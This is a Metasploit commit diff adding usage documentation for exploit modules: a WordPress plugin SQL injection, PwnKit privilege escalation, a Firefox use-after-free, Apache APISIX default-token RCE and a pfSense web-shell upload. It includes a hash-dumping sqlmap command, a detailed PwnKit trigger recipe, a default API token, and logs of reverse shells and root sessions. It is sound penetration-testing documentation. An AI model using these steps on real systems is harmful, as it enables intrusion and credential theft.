0000000000..69c0b7f199 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.md @@ -0,0 +1,62 @@ +## Vulnerable Application + +Modern Events Calendar plugin contains an unauthenticated timebased SQL injection in +versions before 6.1.5. The `time` parameter is vulnerable to injection. + +The plugin can be downloaded [here](https://downloads.wordpress.org/plugin/modern-events-calendar-lite.6.1.0.zip) + +This module slightly replicates sqlmap running as: + +``` +sqlmap -u 'http:///wp-admin/admin-ajax.php?action=mec_load_single_page&time=2' -p "time" --technique T -T wp_users -C user_login,user_pass --dump --dbms mysql +``` + +## Verification Steps + +1. Install the plugin, use defaults +2. Start msfconsole +3. Do: `use auxiliary/scanner/http/wp_modern_events_calendar_sqli` +4. Do: `set rhosts [ip]` +5. Do: `run` +6. You should get the users and hashes returned. + +## Options + +### ACTION: List Users + +This action lists `COUNT` users and password hashes. + +## COUNT + +If action `List Users` is selected (default), this is the number of users to enumerate. +The larger this list, the more time it will take. Defaults to `1`. + +## Scenarios + +### Modern Events Calendar 6.1.0 on Wordpress 5.7.5 on Ubuntu 20.04 + +``` +resource (calendar.rb)> use auxiliary/scanner/http/wp_modern_events_calendar_sqli +resource (calendar.rb)> set rhosts 1.1.1.1 +rhosts => 1.1.1.1 +resource (calendar.rb)> set verbose true +verbose => true +resource (calendar.rb)> run +[*] Checking /wp-content/plugins/modern-events-calendar-lite/readme.txt +[*] Found version 6.1.0 in the plugin +[+] Vulnerable version of Modern Events Calendar detected +[*] {SQLi} Executing (select group_concat(FMuxps) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) FMuxps from wp_users limit 1) tXKksULcj) +[*] {SQLi} Encoded to (select group_concat(FMuxps) from (select cast(concat_ws(0x3b,ifnull(user_login,repeat(0xde,0)),ifnull(user_pass,repeat(0x79,0))) as binary) FMuxps from wp_users limit 1) tXKksULcj) +[*] {SQLi} Time-based injection: expecting output of length 40 +admin +$P$BZlPX7NIx8MYpXokBW2AGsN7i.aUOt0 +[+] wp_users +======== + + user_login user_pass + ---------- --------- + admin $P$BZlPX7NIx8MYpXokBW2AGsN7i.aUOt0 + +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.md b/documentation/modules/exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.md new file mode 100644 index 0000000000..1a17ee5b2e --- /dev/null +++ b/documentation/modules/exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.md @@ -0,0 +1,323 @@ +## Vulnerable Application + +The `check` method uses the exploit without a payload. Vulnerable versions of pkexec +give the error that the shell was not in the shells folder if you pass in the exploit +without a payload to execute. Patched versions exit and give the `help` output if executed +with no arguments. + +First Patched Ubuntu packages: + +- 20.04: 0.105-26ubuntu1.2 +- 21.10: 0.105-31ubuntu0.1 +- 18.04: 0.105-20ubuntu0.18.04.6 + +Source: https://github.com/cyberark/PwnKit-Hunter/blob/main/CVE-2021-4034_Finder.py + +First Patched Debian Packages: + +- stretch: 0.105-18+deb9u2 +- buster: 0.105-25+deb10u1 +- bullseye: 0.105-31+deb11u1 + +Source: https://github.com/cyberark/PwnKit-Hunter/blob/main/CVE-2021-4034_Finder.py + +Vulnerable CentOS Packages: + +- polkit-0.112-5.ael7b +- polkit-0.112-13.p1.el7a +- polkit-0.96-2.el6 +- polkit-0.96-2.el6_0.1 +- polkit-0.96-5.el6_4 +- polkit-0.96-7.el6 +- polkit-0.96-7.el6_6.1 +- polkit-0.96-11.el6 +- polkit-0.96-11.el6_10.1 +- polkit-0.112-1.el7 +- polkit-0.112-5.el7 +- polkit-0.112-6.el7_2 +- polkit-0.112-7.el7_2.2 +- polkit-0.112-7.el7_2.3 +- polkit-0.112-7.el7_2 +- polkit-0.112-9.el7 +- polkit-0.112-11.el7_3 +- polkit-0.112-12.el7_3 +- polkit-0.112-12.el7_4.1 +- polkit-0.112-14.el7 +- polkit-0.112-14.el7_5.1 +- polkit-0.112-17.el7 +- polkit-0.112-18.el7 +- polkit-0.112-18.el7_6.1 +- polkit-0.112-18.el7_6.2 +- polkit-0.112-22.el7 +- polkit-0.112-22.el7_7.1 +- polkit-0.112-26.el7 +- polkit-0.115-6.el8 +- polkit-0.115-9.el8 +- polkit-0.115-9.el8_1.1 +- polkit-0.115-11.el8 +- polkit-0.115-11.el8_2.1 +- polkit-0.115-11.el8_3.2 +- polkit-0.115-11.el8_4.1 +- polkit-0.115-12.el8 + +Source: https://www.ramanean.com/script-to-detect-polkit-vulnerability-in-redhat-linux-systems-pwnkit/ + +### Fedora: + +Fedora should be vulnerable, and the pkexec binary will respond like it is vulnerable, but +the exploit will fail. I don't know why, but it still fails with SELinux disabled or using the +original PoCs that compiled a binary on target. The check method just bails if it sees Fedora. + +``` +msf6 payload(linux/x64/meterpreter/reverse_tcp) > sessions -i -1 +[*] Starting interaction with 1... + +meterpreter > sysinfo +Computer : localhost.localdomain +OS : Fedora 33 (Linux 5.8.15-301.fc33.x86_64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: msfuser +meterpreter > shell +Process 2396 created. +Channel 5 created. +sestatus +SELinux status: disabled +exit +meterpreter > background +[*] Backgrounding session 1... +msf6 payload(linux/x64/meterpreter/reverse_tcp) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec +[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 1 +session => 1 +msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set verbose true +verbose => true +msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set auto +set autocheck set autorunscript set autounhookprocess +set autoloadstdapi set autosysteminfo set autoverifysessiontimeout +msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set autoCheck false +autoCheck => false +msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > check + +[!] SESSION may not be compatible with this module: +[!] * missing Meterpreter features: stdapi_railgun_api +[*] Checking for pkexec +[*] Checking for /usr/bin/pkexec +[*] Found pkexec here: /usr/bin/pkexec +[*] Found pkexec version 0.117 +[*] The target is not exploitable. Fedora is not supported +msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run + +[!] SESSION may not be compatible with this module: +[!] * missing Meterpreter features: stdapi_railgun_api +[*] Started reverse TCP handler on 10.5.135.101:4444 +[!] AutoCheck is disabled, proceeding with exploitation +[*] Checking for pkexec +[*] Checking for /usr/bin/pkexec +[*] Found pkexec here: /usr/bin/pkexec +[*] Creating directory /tmp/.wqogdpzub +[*] /tmp/.wqogdpzub created +[*] Writing '/tmp/.wqogdpzub/kfmlrhrqi/kfmlrhrqi.so' (548 bytes) ... +[!] Verify cleanup of /tmp/.wqogdpzub +[*] Running python /tmp/.wqogdpzub/.skihoukdb /usr/bin/pkexec /tmp/.wqogdpzub/kfmlrhrqi/kfmlrhrqi.so kfmlrhrqi jdtnqzvqn +[*] GLib: Cannot convert message: Could not open converter from “UTF-8” to “jdtnqzvqn” +The value for the SHELL variable was not found the /etc/shells file + +This incident has been reported. +[*] Exploit completed, but no session was created. +``` + +### RedHat: +Untested on Redhat, but I assume similar to Fedora. + +## Summary + +Polkit's pkexec binary is a bit like sudo in that it allows users to run an application as another user. +For instance, when you run something like `pkexec ls` you'll be prompted for the root user's password. +Because it allows elevated launching of programs, pkexec runs as root. + +Processes that run like this are considered special and are run in a Secure-execution mode, which causes +the dynamic linker (ld.so) to strip out problematic environment variables that could introduce security +concerns. One of these "untrusted" environment variables stripped out by the linker is `GCONV_PATH`, which +sets the location for text conversion libraries. If a binary needs to convert a text string to a different +encoding, it will load/execute the library specified by `GCONV_PATH`. + +For example, if we could get pkexec to run with the environment string `GCONV_PATH=./exploit`, pkexec would +load and execute the exploit as root if we were able to coerce the binary to use an unknown charset. This +is why the dynamic linker prevents such an environment variable from being passed into secure-execution mode +binaries. + +The check to prevent `GCONV_PATH` environment variables is done when a program loads, so if we can modify +the environment variables after the program loads, we could add it, but as the process runs as root, we +could not change those values ourselves. + +This is where the logic flaw in pkexec can be abused. pkexec runs through each argument it is passed and +calls `g_find_program_in_path` which takes a filename and replaces the filename with the full path to the +file, according to its `PATH` environment. Since there can be multiple binaries, this is done within a +loop. The specific bug in pkexec is that the loop will always run at least once, even if the number of +arguments is 0. + +If the number of arguments is 0, then it will still attempt to resolve the element it pulls from memory +at the location the first argument would have been located. Because of how the stack is structured, +environment variables are located right after argument values in memory, so if there are no argument values, +then the environment values are there. The exploit works by coercing `g_find_program_in_path` into +writing `GCONV_PATH=./exploit` into the first slot in the environment list. + +We can do this by creating a folder in the `PATH` called `GCONV_PATH=.` and within that folder, place a +file named `abc`. We also add the directory `GCONV_PATH` to the `PATH` environment variable. Now, when +we launch pkexec without any arguments, but with `abc` as the first environment variable and `PATH=GCONV_PATH=` +as the second, `g_find_program_in_path` will look for `abc` in the folder `GCONV_PATH=.` and find it. +It will then overwrite the first environment variable withe the full path to the file as it exists in +our PATH: `GCONV_PATH=./abc` or exactly what we'd like to have as our environment variable. +Now, if we can coerce pkexec to use an unknown charset, it will load the library `./abc.so` which we'll make +the name of our payload. + +We can coerce the loading of the .so by adding another environment variable declaring some unknown +charset: `CHARSET=garbage` would work fine if we could get pkexec to need to write a log. We can +get it to write a log by giving a bad value for something it depends on. In our case, we're using +the `SHELL` environment variable. + +So, to sum up, if we give pkexec a bad value for the `SHELL` environment variable and an unknown charset +to encode, it will load the .so file specified by `GCONV_PATH` and run it as root in an attempt to +encode to the unknown charset. + +To break it down, we need to place a .so payload binary in our current working directory called +`abc.so` and call pkexec with no arguments and the environment values: + +`abc` + +`PATH=GCONV_PATH=.` + +`SHELL=/garbage` + +`CHARSET=garbage` + +Once `g_find_program_in_path` runs, the environment variables will be changed to: + +`GCONV_PATH=./abc.so` + +`PATH=GCONV_PATH=.` + +`SHELL=/garbage` + +`CHARSET=garbage` + +The result will be that pkexec errors while trying to encode test to the non-existant charset, causing it to +load the provided abc.so file in the root context. + +## Verification + +* Start `msfconsole` +* Get a non-root shell/meterpreter +* use `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` +* set SESSION `` +* set LHOST `` +* `run` + +## Options + + +### WRITEABLE_DIR +This indicates the location where you would like the payload and exploit stored, as well +as serving as a location to store the various files and directories created by the exploit itself. +The default value is `/tmp` + +### PKEXEC_PATH +This indicates the location of the `pkexec` binary. Normally, the module can find the it without help. +It defaults to nil. + +## Advanced Options + +### FinalDir +This indicates the starting directory for the new root-enabled session. The module deletes the working directory +out from under the running payload, so the current working directory for the new session will not exist, and that +can result in odd errors, so we just change to a directory that does exist before user interaction. +It defaults to `/` + +## Scenarios + +``` +msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > show options + +Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PKEXEC_PATH no The path to pkexec binary + SESSION 1 yes The session to run this module on + WRITABLE_DIR /tmp yes A directory where we can write files + + +Payload options (linux/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 10.5.135.101 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 x86_64 + + +msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run + +[!] SESSION may not be compatible with this module: +[!] * missing Meterpreter features: stdapi_railgun_api +[*] Started reverse TCP handler on 10.5.135.101:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking for pkexec +[*] Checking for /usr/bin/pkexec +[*] Found pkexec here: /usr/bin/pkexec +[*] Found pkexec version 0.105 +[*] Determined host os is Ubuntu +[*] Polkit package version = 0.105-26ubuntu1 +[*] Checking for pkexec +[*] Checking for /usr/bin/pkexec +[*] Found pkexec here: /usr/bin/pkexec +[*] Creating directory /tmp/.pacfbr +[*] /tmp/.pacfbr created +[!] Verify cleanup of /tmp/.pacfbr +[*] Running python3 /tmp/.pacfbr/.jxkiwyj /usr/bin/pkexec /tmp/.pacfbr/khmtpqj/khmtpqj.so khmtpqj mbbidsfl +[*] GLib: Cannot convert message: Could not open converter from “UTF-8” to “mbbidsfl” +The value for the SHELL variable was not found the /etc/shells file + +This incident has been reported. +[+] The target is vulnerable. +[*] Checking for pkexec +[*] Checking for /usr/bin/pkexec +[*] Found pkexec here: /usr/bin/pkexec +[*] Creating directory /tmp/.lukbdme +[*] /tmp/.lukbdme created +[*] Writing '/tmp/.lukbdme/rnaxcz/rnaxcz.so' (548 bytes) ... +[!] Verify cleanup of /tmp/.lukbdme +[*] Running python3 /tmp/.lukbdme/.iwksanwva /usr/bin/pkexec /tmp/.lukbdme/rnaxcz/rnaxcz.so rnaxcz jnagcbkqds +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3012548 bytes) to 10.5.132.107 +[+] Deleted /tmp/.lukbdme/rnaxcz/rnaxcz.so +[+] Deleted /tmp/.lukbdme/.iwksanwva +[!] Attempting to delete working directory /tmp/.lukbdme +[!] Attempting to delete working directory /tmp/.lukbdme +[*] Meterpreter session 3 opened (10.5.135.101:4444 -> 10.5.132.107:54758 ) at 2022-03-01 14:40:18 -0600 + +meterpreter > sysinfo +Computer : 10.5.132.107 +OS : Ubuntu 20.04 (Linux 5.4.0-42-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: root +meterpreter > pwd +/ +meterpreter > + + +``` + +**Reference:** https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt diff --git a/documentation/modules/exploit/multi/browser/firefox_jit_use_after_free.md b/documentation/modules/exploit/multi/browser/firefox_jit_use_after_free.md new file mode 100644 index 0000000000..5dfb22bc1f --- /dev/null +++ b/documentation/modules/exploit/multi/browser/firefox_jit_use_after_free.md @@ -0,0 +1,117 @@ +## Vulnerable Application + +This modules exploits CVE-2020-26950, a use after free exploit in Firefox. +The MCallGetProperty opcode can be emitted with unmet assumptions resulting +in an exploitable use-after-free condition. + +This exploit uses a somewhat novel technique of spraying ArgumentsData +structures in order to construct primitives. The shellcode is forced into +executable memory via the JIT compiler, and executed by writing to the JIT +region pointer. + +This exploit does not contain a sandbox escape, so firefox must be run +with the MOZ_DISABLE_CONTENT_SANDBOX environment variable set, in order +for the shellcode to run successfully. + +This vulnerability affects Firefox < 82.0.3, Firefox ESR < 78.4.1, and +Thunderbird < 78.4.2, however only Firefox < 82 is supported as a target. +Additional work may be needed to support other versions such as Firefox 82.0.1. + +**Vulnerable Application Installation Steps** + +You can download and run a vulnerable firefox version on Linux with the following commands: +``` +wget https://ftp.mozilla.org/pub/firefox/releases/79.0/linux-x86_64/en-US/firefox-79.0.tar.bz2 +tar xvf firefox-79.0.tar.bz2 +cd firefox +MOZ_DISABLE_CONTENT_SANDBOX=1 ./firefox +``` + +You can also download a vulnerable firefox version for Windows from the following location: +[https://ftp.mozilla.org/pub/firefox/releases/79.0/win64/en-US/](https://ftp.mozilla.org/pub/firefox/releases/79.0/win64/en-US/) + +## Verification Steps + +1. Do: `use exploit/multi/browser/firefox_jit_use_after_free` +1. Do: `set payload [PAYLOAD]` +1. Do: `set URIPATH /` +1. Do: `set LHOST [IP]` +1. Do: `set SRVHOST [IP]` +1. Do: `exploit` + +## Options + +### DEBUG_EXPLOIT + +Show debug information during exploitation. This will display details of the exploit during exploitation, which is useful for debugging. + +## Scenarios + + +### Windows 10 and Firefox 79.0 with MOZ_DISABLE_CONTENT_SANDBOX=1 + +Start firefox without a sandbox with the following .bat file: +``` +@echo off +set MOZ_DISABLE_CONTENT_SANDBOX=1 +"C:\Program Files (x86)\Mozilla Firefox\firefox.exe" +``` + + +``` +msf6 > use exploit/multi/browser/firefox_jit_use_after_free +[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp +msf6 exploit(multi/browser/firefox_jit_use_after_free) > set payload windows/x64/meterpreter/reverse_tcp +payload => windows/x64/meterpreter/reverse_tcp +msf6 exploit(multi/browser/firefox_jit_use_after_free) > set URIPATH / +URIPATH => / +msf6 exploit(multi/browser/firefox_jit_use_after_free) > set SRVHOST 192.168.56.1 +SRVHOST => 192.168.56.1 +msf6 exploit(multi/browser/firefox_jit_use_after_free) > set LHOST 192.168.56.1 +LHOST => 192.168.56.1 +msf6 exploit(multi/browser/firefox_jit_use_after_free) > +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Using URL: http://192.168.56.1:8080/ +[*] Server started. +[*] 192.168.56.3 firefox_jit_use_after_free - Sending / to Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 +[*] Sending stage (200262 bytes) to 192.168.56.3 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.3:49737 ) at 2022-02-16 08:23:53 +0000 + +``` + +### Ubuntu 18 and Firefox 79.0 with MOZ_DISABLE_CONTENT_SANDBOX=1 and DEBUG_EXPLOIT enabled + +Start Firefox without a sandbox, e.g: +`MOZ_DISABLE_CONTENT_SANDBOX=1 ./firefox` + +``` +msf6 > use exploit/multi/browser/firefox_jit_use_after_free +[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp +msf6 exploit(multi/browser/firefox_jit_use_after_free) > set URIPATH / +URIPATH => / +msf6 exploit(multi/browser/firefox_jit_use_after_free) > set LHOST 192.168.56.1 +LHOST => 192.168.56.1 +msf6 exploit(multi/browser/firefox_jit_use_after_free) > set SRVHOST 192.168.56.1 +SRVHOST => 192.168.56.1 +msf6 exploit(multi/browser/firefox_jit_use_after_free) > set DEBUG_EXPLOIT true +DEBUG_EXPLOIT => true +msf6 exploit(multi/browser/firefox_jit_use_after_free) > exploit +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +msf6 exploit(multi/browser/firefox_jit_use_after_free) > +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Using URL: http://192.168.56.1:8080/ +[*] Server started. +[*] 192.168.56.1 firefox_jit_use_after_free - Sending / to Mozilla/5.0 (X11; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0 +[*] 192.168.56.1 firefox_jit_use_after_free - [+] got the corrupted array 16384 +[*] 192.168.56.1 firefox_jit_use_after_free - [+] Leaked nursery location: 4aee8a4f6d8 +[*] 192.168.56.1 firefox_jit_use_after_free - [+] AD location: 7f27fb9cc000 +[*] 192.168.56.1 firefox_jit_use_after_free - [+] AB Location: 7f27e7200000 +[*] 192.168.56.1 firefox_jit_use_after_free - [+] Function is at: 10d4c755fac0 +[*] 192.168.56.1 firefox_jit_use_after_free - [+] jitinfo: 10d4c7564150 +[*] 192.168.56.1 firefox_jit_use_after_free - [+] RX Region: 3774356d0e50 +[*] 192.168.56.1 firefox_jit_use_after_free - [+] Shellcode start: 3774356d1030 +[*] 192.168.56.1 firefox_jit_use_after_free - [*] Triggering... +[*] Sending stage (3020772 bytes) to 192.168.56.1 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.1:34946 ) at 2022-02-16 08:18:11 +0000 +``` diff --git a/documentation/modules/exploit/multi/http/apache_apisix_api_default_token_rce.md b/documentation/modules/exploit/multi/http/apache_apisix_api_default_token_rce.md new file mode 100644 index 0000000000..333dc28324 --- /dev/null +++ b/documentation/modules/exploit/multi/http/apache_apisix_api_default_token_rce.md @@ -0,0 +1,65 @@ +## Vulnerable Application + +A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. + +The Apache APISIX has a default API token `edd1c9f034335f136f87ad84b625c8f1` defined at `conf/config.yaml` and in its default configuration +doesn't come with the `ip-restriction` plugin enabled. This allows any user to add a new route in its default configuration. By leveraging +the feature `script` added in the 2.x version an user can add a route which leads to the remote LUA code execution (CVE-2020-13945). Even if +ip-restriction is enabled, this exploit can leverage the vulnerability CVE-2022-24112 to circumvent that restriction. + +This module was tested using a vulnerable docker container as available on the +[vulnhub](https://github.com/vulhub/apisix/CVE-2020-13945/docker-compose.yml) project. + +If we have the API token we can execute command using the parameter `filter_func` or `script`, and if there is an IP restriction +enabled by the plugin ip-restriction we can bypass this restriction if the batch-requests plugin is also enabled. + +### Version and OS +This module has been tested successfully on Apache APISIX 2.2, 2.6, 2.11.0 and 2.12.1 + +## Verification Steps +Confirm that functionality works: + +1. Start `msfconsole` +2. `use exploit/multi/http/apache_apisix_api_default_token_rce` +3. set `RHOSTS` and `RPORT` +4. Confirm the target is vulnerable: `check` +5. Confirm that the target is vulnerable: `The target is vulnerable.` +6. It come already with a default payload `cmd/unix/reverse_bash` +7. set `LHOST` and `LPORT` +8. `exploit` +9. Confirm you have now a cmd session + +## Options + +### TARGETURI (required) + +The path to the APISIX routes controller (Default: `/apisix`). + +### API_KEY (required) + +The admin API KEY for APISIX (Default: `edd1c9f034335f136f87ad84b625c8f1`). + +### ALLOWED_IP (required) + +An IP address that is knew to be in the allowed list (Default: `127.0.0.1`). + +## Scenarios +``` +msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > set payload cmd/unix/reverse_bash +payload => cmd/unix/reverse_bash +msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > run rhosts=127.0.0.1 rport=9080 lhost=docker0 lport=4444 + +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking component version to 127.0.0.1:9080 +[+] The target appears to be vulnerable. +[*] Command shell session 1 opened (172.17.0.1:4444 -> 172.18.0.4:48162 ) at 2022-02-28 18:32:50 +0100 +id + +uid=99(nobody) gid=99(nobody) groups=99(nobody) +uname -a +Linux 58f5aba16de9 5.16.8-arch1-1 #1 SMP PREEMPT Tue, 08 Feb 2022 21:21:08 +0000 x86_64 x86_64 x86_64 GNU/Linux +exit +[*] 127.0.0.1 - Command shell session 1 closed. +msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > +``` diff --git a/documentation/modules/exploit/unix/http/pfsense_diag_routes_webshell.md b/documentation/modules/exploit/unix/http/pfsense_diag_routes_webshell.md new file mode 100644 index 0000000000..f75cbb248b --- /dev/null +++ b/documentation/modules/exploit/unix/http/pfsense_diag_routes_webshell.md @@ -0,0 +1,162 @@ +## Vulnerable Application + +### Description + +This module exploits an arbitrary file creation vulnerability in the pfSense HTTP interface +(CVE-2021-41282). The vulnerability affects versions <= 2.5.2 and can be exploited by an +authenticated user if they have the "WebCfg - Diagnostics: Routing tables" privilege. + +This module uses the vulnerability to create a web shell and execute payloads with root privileges. + +### Installation + +Download an affected version's ISO. For example, pfSense 2.5.2 can be download here: + +https://nyifiles.netgate.com/mirror/downloads/pfSense-CE-2.5.2-RELEASE-amd64.iso.gz + +* Follow the [installation guide](https://docs.netgate.com/pfsense/en/latest/install/install-pfsense.html) to get an initial base install. +* Log into the web interface using the credentials `admin:pfsense` +* Run through the [setup wizard](https://docs.netgate.com/pfsense/en/latest/config/setup-wizard.html). + +To test a user that *only* has the `WebCfg - Diagnostics: Routing tables` privilege, as an +`admin` create a new user. The add user interface is in the `System` -> `User Manager` page. +Select the `Add` user button and create the user. Once the user is created, edit the user +and `Add` an `Effective Privilege`. Only assign `WebCfg - Diagnostics: Routing tables`. Done! + +## Verification Steps + +* Follow the installation instructions above +* Do: `use exploit/unix/http/pfsense_diag_routes_webshell` +* Do: `set username ` +* Do: `set password ` +* Do: `set RHOST ` +* Do: `check` +* Verify the remote target is flagged as vulnerable +* Do: `set LHOST ` +* Do: `exploit` +* You should get a reverse shell + +## Options + +### TARGETURI + +Specifies base URI. The default value is `/`. + +### USERNAME + +The username to log in to the pfSense web interface with. The default is `admin`. + +### PASSWORD + +The password to log in with. Set to `pfsense` by default. + +### WEBSHELL_NAME + +Allows the user to name the webshell. If the user doesn't provided a name then one will be automatically generated. +Set to `nil` by default. + +### DELETE_WEBSHELL + +Indicates if the web shell should be deleted after reverse shell is established. A user may want to leave behind a +web shell for persistence reasons. The default is `true`. + +### Target 0 + +Target 0 is a `CMD_ARCH` reverse shell using openssl. + +### Target 1 + +Target 1 is a `bsd/x64` reverse shell using the curl command stager. + + +## Scenarios + +### pfSense 2.5.2. Reverse shell using openssl cmd_arch payload. + +``` +msf6 > use exploit/unix/http/pfsense_diag_routes_webshell +[*] Using configured payload bsd/x64/shell_reverse_tcp +msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set USERNAME diag_only +USERNAME => diag_only +msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set PASSWORD labpass1 +PASSWORD => labpass1 +msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set RHOST 10.0.0.10 +RHOST => 10.0.0.10 +msf6 exploit(unix/http/pfsense_diag_routes_webshell) > check + +[!] This exploit may require manual cleanup of '/usr/local/www/HFkrB' on the target +[+] 10.0.0.10:80 - The target is vulnerable. +msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set LHOST 10.0.0.2 +LHOST => 10.0.0.2 +msf6 exploit(unix/http/pfsense_diag_routes_webshell) > run + +[*] Started reverse TCP handler on 10.0.0.2:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. +[*] Uploading webshell to /dgGNIYHKgUL.php +[*] Testing if web shell installation was successful +[+] Web shell installed at /dgGNIYHKgUL.php +[*] Executing BSD Dropper for bsd/x64/shell_reverse_tcp +[*] Using URL: http://0.0.0.0:8080/kDumgxJC +[*] Local IP: http://10.0.0.2:8080/kDumgxJC +[*] Client 10.0.0.10 (curl/7.76.1) requested /kDumgxJC +[*] Sending payload to 10.0.0.10 (curl/7.76.1) +[*] Command Stager progress - 100.00% done (109/109 bytes) +[+] Deleted /usr/local/www/hrCcgfpdiGhC +[+] Deleted /usr/local/www/dgGNIYHKgUL.php +[*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.10:57590 ) at 2022-02-27 18:08:12 -0800 +[*] Server stopped. + +id +uid=0(root) gid=0(wheel) groups=0(wheel) +pwd +/usr/local/www +uname -a +FreeBSD pfSense.home.arpa 12.2-STABLE FreeBSD 12.2-STABLE fd0f54f44b5c(RELENG_2_5_0) pfSense amd64 +``` + +### pfSense 2.5.2. Reverse shell using bsd reverse shell and curl command stager. + +``` +msf6 > use exploit/unix/http/pfsense_diag_routes_webshell +[*] Using configured payload bsd/x64/shell_reverse_tcp +msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set USERNAME diag_only +USERNAME => diag_only +msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set PASSWORD labpass1 +PASSWORD => labpass1 +msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set RHOST 10.0.0.10 +RHOST => 10.0.0.10 +msf6 exploit(unix/http/pfsense_diag_routes_webshell) > check + +[!] This exploit may require manual cleanup of '/usr/local/www/QEpijnAPnpu' on the target +[+] 10.0.0.10:80 - The target is vulnerable. +msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set LHOST 10.0.0.2 +LHOST => 10.0.0.2 +msf6 exploit(unix/http/pfsense_diag_routes_webshell) > run + +[*] Started reverse TCP handler on 10.0.0.2:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. +[*] Uploading webshell to /xsYZjKyayH.php +[*] Testing if web shell installation was successful +[+] Web shell installed at /xsYZjKyayH.php +[*] Executing BSD Dropper for bsd/x64/shell_reverse_tcp +[*] Using URL: http://0.0.0.0:8080/eUKIs9nMdZP2t +[*] Local IP: http://10.0.0.2:8080/eUKIs9nMdZP2t +[*] Client 10.0.0.10 (curl/7.76.1) requested /eUKIs9nMdZP2t +[*] Sending payload to 10.0.0.10 (curl/7.76.1) +[*] Command Stager progress - 100.00% done (114/114 bytes) +[+] Deleted /usr/local/www/MkTcoNc +[+] Deleted /usr/local/www/xsYZjKyayH.php +[*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.10:1879 ) at 2022-02-27 17:55:51 -0800 +[*] Server stopped. + +id +uid=0(root) gid=0(wheel) groups=0(wheel) +whoami +root +pwd +/usr/local/www +uname -a +FreeBSD pfSense.home.arpa 12.2-STABLE FreeBSD 12.2-STABLE fd0f54f44b5c(RELENG_2_5_0) pfSense amd64 +``` diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 00b733de31..7b4daa4950 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "6.1.32" + VERSION = "6.1.33" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index 870db59ffe..a4a507f7fb 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -73,6 +73,10 @@ class Meterpreter < Rex::Post::Meterpreter::Client opts[:ssl_cert] = opts[:datastore]['HandlerSSLCert'] end + if opts[:datastore] and opts[:datastore]['SessionTlvLogging'] + opts[:tlv_log] = opts[:datastore]['SessionTlvLogging'] + end + # Don't pass the datastore into the init_meterpreter method opts.delete(:datastore) @@ -736,4 +740,3 @@ end end end - diff --git a/lib/msf/core/encoded_payload.rb b/lib/msf/core/encoded_payload.rb index 90fcd1f7c9..5a52b7d51a 100644 --- a/lib/msf/core/encoded_payload.rb +++ b/lib/msf/core/encoded_payload.rb @@ -75,7 +75,7 @@ class EncodedPayload # If encoder is set, it could be an encoders list # The form is ":, :"... - if reqs['Encoder'] + unless reqs['Encoder'].blank? encoder_str = reqs['Encoder'] 